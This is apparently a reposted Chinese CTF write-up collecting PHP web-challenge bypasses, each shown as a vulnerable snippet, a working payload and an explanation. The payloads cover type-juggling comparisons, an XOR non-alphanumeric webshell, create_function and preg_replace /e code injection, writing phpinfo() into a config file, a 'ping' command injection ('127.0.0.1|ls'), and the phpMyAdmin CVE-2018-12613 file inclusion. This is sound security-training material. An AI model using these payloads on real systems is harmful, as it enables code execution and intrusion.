CTF——web安全中的一些繞過



 
        
 1 function check($number)
 2 {
 3     $one = ord('1');
 4     $nine = ord('9');
 5     for ($i = 0; $i < strlen($number); $i++)
 6     {
 7         $digit = ord($number{$i});
 8         if ( ($digit >= $one) && ($digit <= $nine) )
 9         {
10             return false;
11         }
12     }
13     return $number == '11259375';
14 }
0xabcdef
用11259375的16進制形式0xabcdef



 
        

1
$num=$_GET['num']; 2 if(!is_numeric($num)) 3 { 4 echo $num; 5 if($num==1) 6 echo 'flag{**********}'; 7 }
 
        
?num=1xxx
不能用16進制形式0x1,前面加0形式0001,或者科學計數法形式0e0,因為都會被判斷為數字。但可以提交1xxx,后面跟上除了數字,點(兩個點可以:1..)以外任意字符即可,php用==比較字符串和數字時,會把字符串隱式轉換為數字,如果字符串中有非數字字符,只取最前面的數字,例如"1x"=1,"22asd"=22,"qwe123"=0






1
<?php 2 3 function getFlag() 4 { 5 echo "flagxxxxxxx"; 6 } 7 8 if(isset($_GET['code'])) 9 { 10 $code = $_GET['code']; 11 12 if(strlen($code)>40) 13 { 14 die("Long."); 15 } 16 if(preg_match("/[A-Za-z0-9]+/",$code)) 17 { 18 die("NO."); 19 } 20 21 @eval($code); 22 } 23 //$hint = "php function getFlag() to get flag"; 24 ?>

?code=$_="<%)},?'"^"[@];@^@";$_();   

兩句php代碼,第一句  $_="<%)},?'" ^ "[@];@^@";  是把兩個字符串異或運算結果賦給$_變量," <%)},?' " 這個含7個字符的字符串和 " [@];@^@ " 異或的結果就是getFlag,然后第二句php代碼 $_(); 就相當於getFlag();

若是過濾了下划線,則 ${"}"^";"}= "<%)},?'" ^ "[@];@^@";   ${"}"^";"}();

詳見:

https://www.leavesongs.com/penetration/webshell-without-alphanum.html 

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html


 

 

 



1
<?php 2 3 function flag() 4 { 5 echo "flag{xxxxxxx}"; 6 } 7 8 $sort_by = $_GET['sort_by']; 9 $sorter = 'strnatcasecmp'; 10 $databases=array('1234','4321'); 11 $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; 12 usort($databases, create_function('$a, $b', $sort_function));

 ?sort_by=1"], $b["1"]);}flag();//   

usort里構造了一個匿名函數,參數為$a,$b,函數體為$sort_function,這個匿名函數相當於是這樣寫的

function anonymouse($a,$b){ 函數體($sort_function) }

如果sort_by傳入1,則是
function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}
若sort_by傳入 1"], $b["1"]);}flag();// ,則是
function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}flag();//"], $b["1"], $b["1"]);}flag();//"]); }
即相當於
function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}flag();
flag()就得以執行

 

 

 



1
<?php 2 function flag() 3 { 4 echo "flag{xxxxx}"; 5 } 6 7 $id=$_GET['id']; 8 $str2='echo '.$a.'test'.$id.";"; 9 echo $str2; 10 echo "<br/>"; 11 echo "=============================="; 12 echo "<br/>"; 13 $f1 = create_function('$a',$str2); 14 echo "<br/>"; 15 echo "==============================";

?id=1;}flag();//   或者  /?id=1;}flag();/*

原理同上 


 

 

 

 



1
<?php 2 if(!is_array($_GET['test'])){exit();} 3 $test=$_GET['test']; 4 for($i=0;$i<count($test);$i++){ 5 if($test[$i]==="admin"){ 6 echo "error"; 7 exit(); 8 } 9 $test[$i]=intval($test[$i]); 10 } 11 if(array_search("admin",$test)===0){ 12 echo "flag"; 13 } 14 else{ 15 echo "false"; 16 } 17 ?>

?test[]=0

傳入test[]=0,那么test就是一個數值型的數組,即 Array ( [0] => 0 ) ,array_search()  在test數值型數組中查找 "admin" 這個字符串的時候,首先會把字符串轉換為數字,轉換規則具體看本文第二個示例,所以 "admin" 變成了0,array_search()如果查找成功就會返回其鍵名,test數組中0的鍵名是0,而0===0。


 

 

 

 



if
(!preg_match('/^-?[0-9]+$/m', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }

123\nPAYLOAD;

PAYLOAD\n123;

PAYLOAD\n123\nPAYLOAD

sql注入中的一個繞過,該正則由於m修飾符,將只驗證其中一行只包含整數


 

 

 

 



<?php function complexStrtolower($regex,$value){ return preg_replace('/('.$regex.')/ei','strtolower("\\1")',$value); } foreach($_GET as $regex =>$value){ echo complexStrtolower($regex,$value); } function flag(){ echo 'flag{xxxxxxx}'; } ?>

?%5cS*=${flag()}

\S 匹配任意非空字符,\1 是正則中的反向引用

詳見:

Preg_Replace代碼執行漏洞解析


 

 

 



1
<?php 2 $str = addslashes($_GET['option']); 3 $file = file_get_contents('xxxxx/option.php'); 4 $file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file); 5 file_put_contents('xxxxx/option.php',$file); 6 7 ?>

解法1:

?option=%5c%27;phpinfo();//

 輸入\';phpinfo();//   ,\'經過addslashes()之后變為\\\',隨后preg_replace會將兩個連續的\合並為一個,也就是將\\\'轉為\\',這樣我們就成功引入了一個單引號,閉合上文注釋下文,中間加入要執行的代碼即可。此時option.php內容就為  $option='\\';phpinfo();//';

 

解法2:

?option=%27;%0a phpinfo();//

?option=xx

(. 匹配除換行符 \n 之外的任何單字符)

提交兩次,第一次提交后文件內容為:

1 <?php 
2 $option='\';
3 phpinfo();//';

第二次提交后為:

1 <?php 
2 $option='xx';
3 phpinfo();//';

 

解法3:

?option=;phpinfo();

?option=%00

\0: 正則中的反向引用,為 “匹配到的全部內容”

提交兩次,第一次提交后文件內容為:

1 <?php 
2 $option=';phpinfo();';

第二次提交后為:

1 <?php 
2 $option='$option=';phpinfo();';';

 

詳見:

一個PHP正則相關的“經典漏洞”


 

 

 



1
<?php 2 if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$_GET['ip'])){ 3 header("Location: ?ip=127.0.0.1"); 4 } 5 system("ping -c 2".$_GET['ip']); 6 ?>

?ip=127.0.0.1|ls

 即使瀏覽器將被重定向,此函數也不會停止執行流程,並且腳本仍將使用危險的參數完成運行,但不能在瀏覽器中輕易地利用此漏洞,因為瀏覽器將遵循重定向,並且不會顯示正在重定向的頁面

可以用burp抓包重放


 

 

 



1
<?php 2 include 'f1agi3hEre.php'; 3 if ("POST" == $_SERVER['REQUEST_METHOD']) 4 { 5 $password = $_POST['password']; 6 if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 7 { 8 echo 'Wrong Format'; 9 exit; 10 } 11 while (TRUE) 12 { 13 $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 14 if (6 > preg_match_all($reg, $password, $arr)) 15 break; 16 $c = 0; 17 $ps = array('punct', 'digit', 'upper', 'lower'); 18 foreach ($ps as $pt) 19 { 20 if (preg_match("/[[:$pt:]]+/", $password)) 21 $c += 1; 22 } 23 if ($c < 3) break; 24 if ("42" == $password) echo $flag; 25 else echo 'Wrong password'; 26 exit; 27 } 28 } 29 highlight_file(__FILE__); 30 ?>

password=%2b42.000000e0    (url編碼 + %2b)

 php用==比較數值型字符串,會轉換為數值進行比較大小。'+42.000000e0' =='42'

浮點型結構:
LNUM          [0-9]+
DNUM          ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})

整型結構:
decimal     : [1-9][0-9]*
            | 0

hexadecimal : 0[xX][0-9a-fA-F]+

octal       : 0[0-7]+

binary      : 0b[01]+

integer     : [+-]?decimal
            | [+-]?hexadecimal
            | [+-]?octal
            | [+-]?binary


參考自PHP官方文檔:PHP:Float




 
        
<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

//flag in ffffllllaaaagggg
index.php?file=hint.php%253f/../ffffllllaaaagggg
https://www.jianshu.com/p/0d75017c154f
(phpmyadmin4.8.1遠程文件包含漏洞 CVE-2018-12613)



/*****************不定時長期更新****************/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM